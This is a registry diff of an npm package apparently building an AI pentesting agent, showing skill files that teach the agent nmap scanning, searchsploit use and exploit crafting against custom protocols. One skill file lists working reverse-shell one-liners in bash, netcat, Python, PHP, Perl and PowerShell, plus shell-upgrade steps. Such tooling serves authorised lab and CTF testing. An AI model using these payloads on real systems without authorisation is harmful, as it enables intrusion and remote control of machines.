farai 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +165 -0
- package/README.md +147 -0
- package/dist/cli/index.js +33048 -0
- package/docker/kali/Dockerfile +117 -0
- package/docker/kali/farai-image-doctor.py +83 -0
- package/docker/kali/farai-mitmproxy-mcp.sh +9 -0
- package/docker/kali/farai-proxy-init.sh +43 -0
- package/docker/kali/farai-proxy-teardown.sh +17 -0
- package/docker/kali/farai-tool-manifest.json +215 -0
- package/docker/kali/farai_mitmproxy_mcp.py +562 -0
- package/docker/kali/redsocks.conf.tmpl +15 -0
- package/package.json +71 -0
- package/src/agent-skills/library/ffuf/SKILL.md +23 -0
- package/src/agent-skills/library/nmap/SKILL.md +30 -0
- package/src/agent-skills/library/payload-protocol-crafting/SKILL.md +26 -0
- package/src/agent-skills/library/reverse-shells/SKILL.md +55 -0
- package/src/agent-skills/library/searchsploit/SKILL.md +18 -0
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: nmap
|
|
3
|
+
description: Nmap CLI syntax, safe two-pass scan patterns, and failure recovery (filtered ports, timeouts) for the nmap_scan tool. Use this whenever the user asks to port-scan, enumerate services, or check what's open on a target, even before they mention nmap by name.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Nmap Playbook
|
|
7
|
+
|
|
8
|
+
Canonical syntax: `nmap [Scan Type(s)] [Options] {target specification}`
|
|
9
|
+
|
|
10
|
+
High-signal flags:
|
|
11
|
+
- `-n` skip DNS resolution
|
|
12
|
+
- `-Pn` skip host discovery when ICMP/ping is filtered (common in lab/VPN targets)
|
|
13
|
+
- `-sS` SYN scan (needs privilege); `-sT` TCP connect scan (no raw-socket privilege needed)
|
|
14
|
+
- `-sV` service/version detection; `-sC` default NSE scripts
|
|
15
|
+
- `-p <ports>` explicit ports, `-p-` for all 65535 (slow — avoid unless required)
|
|
16
|
+
- `--top-ports <n>` quick common-port sweep
|
|
17
|
+
- `--open` show only hosts/ports that are open
|
|
18
|
+
- `-T4` reasonable speed for lab targets
|
|
19
|
+
- `--max-retries 1 --host-timeout 90s` bound worst-case runtime
|
|
20
|
+
|
|
21
|
+
## Two-pass workflow (preferred over one giant scan)
|
|
22
|
+
1. Fast discovery pass: `nmap -n -Pn --top-ports 100 --open -T4 --max-retries 1 --host-timeout 90s <target>`
|
|
23
|
+
2. Enrichment pass on discovered ports only: `nmap -n -Pn -sV -sC -p <comma_ports> --script-timeout 30s --host-timeout 3m <target>`
|
|
24
|
+
|
|
25
|
+
## Failure recovery
|
|
26
|
+
- Host looks down unexpectedly → add `-Pn` (many lab/CTF targets block ICMP).
|
|
27
|
+
- Scan stalls or times out → tighten `-p`/`--top-ports` and lower `--max-retries`.
|
|
28
|
+
- A "filtered" result that you expect to be open may be transient (target-side rate limiting from
|
|
29
|
+
prior scan/exploit traffic, or a momentary VPN blip) — a single retry a few seconds later is
|
|
30
|
+
reasonable before concluding the port is genuinely filtered.
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: payload-protocol-crafting
|
|
3
|
+
description: Bottom-up methodology for crafting exploits against custom, legacy, or undocumented network protocols (read the spec, build a minimal reproducer, add the injection point last). Use this whenever the target speaks something other than plain HTTP -- a custom TCP protocol, a legacy service like LPD, or any case involving raw sockets, handshakes, or command injection into a non-HTTP protocol.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Crafting Exploits Against Custom/Legacy Protocols
|
|
7
|
+
|
|
8
|
+
When a target service speaks something other than plain HTTP (a legacy or custom TCP protocol,
|
|
9
|
+
e.g. LPD, a proprietary binary protocol, etc.), trial-and-error against the full exploit is slow
|
|
10
|
+
and confusing. Work bottom-up instead:
|
|
11
|
+
|
|
12
|
+
1. **Read the spec first.** Look up the RFC or protocol documentation (`http_request`/web search)
|
|
13
|
+
before writing any code — legacy protocols usually have a short, precise spec (e.g. RFC 1179
|
|
14
|
+
for LPD) that tells you the exact byte sequence/framing expected, far faster than guessing.
|
|
15
|
+
2. **Build the smallest possible reproducer.** Write a minimal script that performs just the
|
|
16
|
+
protocol handshake/framing and confirms the target responds as expected — no injected payload
|
|
17
|
+
yet. Validate this piece works byte-for-byte before adding anything else.
|
|
18
|
+
3. **Add the injection point once framing is confirmed.** Only after step 2 works reliably,
|
|
19
|
+
insert the actual command-injection/shell payload into the appropriate protocol field.
|
|
20
|
+
4. **Iterate on the smallest unit that failed**, not the whole exploit. If step 3 doesn't work,
|
|
21
|
+
go back to isolating exactly which part is wrong (framing vs. payload vs. escaping) rather than
|
|
22
|
+
rewriting the entire script and re-running end-to-end each time — that's what turns a
|
|
23
|
+
straightforward exploit into many confused iterations.
|
|
24
|
+
5. **Prefer `shell_exec` for the throwaway reproducer scripts** (fast iteration, inspect raw
|
|
25
|
+
output immediately) and only wrap the validated logic into a saved script via
|
|
26
|
+
`code_write_script` once it's confirmed working.
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: reverse-shells
|
|
3
|
+
description: Payload variants and delivery gotchas for reverse/bind shells (bash, netcat, python, PHP, perl, PowerShell), TTY upgrade after landing a shell, and how to avoid false-positive auto-backgrounding when writing exploit scripts via heredoc. Use this whenever the user asks to get a shell on a target, mentions callback_listen, reverse shell, revshell, bind shell, netcat, or payload delivery -- even if they don't say the word "skill."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Reverse Shells
|
|
7
|
+
|
|
8
|
+
## Getting LHOST/LPORT right
|
|
9
|
+
Always call `callback_host_info` first to get the real host-reachable LHOST (VPN/tun interface),
|
|
10
|
+
then `callback_listen(port=...)`. Never infer LHOST by guessing from inside the Kali container —
|
|
11
|
+
the container has its own network namespace and cannot see the host's VPN interfaces.
|
|
12
|
+
|
|
13
|
+
## Payload variants (pick based on what's available on target)
|
|
14
|
+
- Bash (most common, no extra binary needed): `bash -i >& /dev/tcp/LHOST/LPORT 0>&1`
|
|
15
|
+
- Bash without `/dev/tcp` (restricted shells): `0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196`
|
|
16
|
+
- Netcat with `-e` (if target nc supports it): `nc -e /bin/sh LHOST LPORT`
|
|
17
|
+
- Netcat without `-e` (mkfifo trick): `rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT > /tmp/f`
|
|
18
|
+
- Python3: `python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'`
|
|
19
|
+
- PHP: `php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'`
|
|
20
|
+
- Perl: `perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`
|
|
21
|
+
- PowerShell (Windows targets): `powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"`
|
|
22
|
+
|
|
23
|
+
## Delivering the payload without triggering false-positive auto-backgrounding
|
|
24
|
+
If you write a script to disk via a heredoc (`cat << 'EOF' > file.py`) and the payload text
|
|
25
|
+
inside the heredoc body contains phrases like `bash -i` or `/dev/tcp/`, that is literal text
|
|
26
|
+
being written to a file — it is NOT itself launching an interactive session, so it should not
|
|
27
|
+
be treated as one. Only the actual invocation line that *executes* the file afterward
|
|
28
|
+
(e.g. `python3 file.py`) is the real interactive/background command.
|
|
29
|
+
|
|
30
|
+
## TTY upgrade after landing a shell
|
|
31
|
+
A raw netcat/bash reverse shell has no real TTY — no job control, no tab completion, ctrl-C kills
|
|
32
|
+
the whole shell. Upgrade with:
|
|
33
|
+
```
|
|
34
|
+
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|
35
|
+
```
|
|
36
|
+
then background it (Ctrl-Z), on your side run `stty raw -echo; fg`, then in the shell:
|
|
37
|
+
```
|
|
38
|
+
export TERM=xterm
|
|
39
|
+
stty rows <rows> columns <columns>
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
## Reading session_poll output correctly
|
|
43
|
+
Sessions of kind `reverse_shell`/`shell` carry a hint line prepended to `output` indicating
|
|
44
|
+
whether a shell prompt was detected (ready for the next command) or not. If no prompt is
|
|
45
|
+
detected yet, wait and poll again rather than sending another command blind — commands sent
|
|
46
|
+
before the target shell is ready can get silently interleaved with the previous command's
|
|
47
|
+
output and produce confusing, doubled results.
|
|
48
|
+
|
|
49
|
+
## When to use callback_listen vs shell_exec background
|
|
50
|
+
- `callback_listen` is for catching an *inbound* connection from the target (classic reverse shell)
|
|
51
|
+
— it opens a real listener on the host's network, which is why it is the one tool that still
|
|
52
|
+
requires approval.
|
|
53
|
+
- `shell_exec` with an interactive command (auto-backgrounded, kind `shell`) is for driving an
|
|
54
|
+
*outbound* interactive process yourself inside the container (e.g. `ssh`, `mysql`, `python3` REPL) —
|
|
55
|
+
no listener involved, runs fully inside the sandbox.
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: searchsploit
|
|
3
|
+
description: How to search for and validate public exploits with the exploit_search tool (searchsploit-backed) before running them against a target. Use this whenever the user asks to find a known/public exploit, mentions a CVE, exploit-db, or a specific vulnerable service version.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Exploit Search Playbook (exploit_search / searchsploit)
|
|
7
|
+
|
|
8
|
+
- Search by exact product + version string first (e.g. `"vsftpd 2.3.4"`), then broaden if no hit
|
|
9
|
+
(drop the version, then drop to just the product name).
|
|
10
|
+
- A search hit is a *candidate*, not a confirmed working exploit — always read the exploit source
|
|
11
|
+
(via `fs_read` on the path searchsploit reports, or `searchsploit -x <id>`) before running it,
|
|
12
|
+
to understand exactly what it does and whether it matches the target's actual configuration.
|
|
13
|
+
- Prefer the smallest, most targeted PoC over a fully-weaponized Metasploit module when you just
|
|
14
|
+
need to confirm a vulnerability exists — easier to reason about and adapt if it doesn't work
|
|
15
|
+
out of the box.
|
|
16
|
+
- If no local exploit-db entry matches, fall back to `http_request`/web lookup for the CVE/product
|
|
17
|
+
name — public writeups often show the exact working payload for CTF-style intentionally
|
|
18
|
+
vulnerable services (which are frequently older/unpatched versions on purpose).
|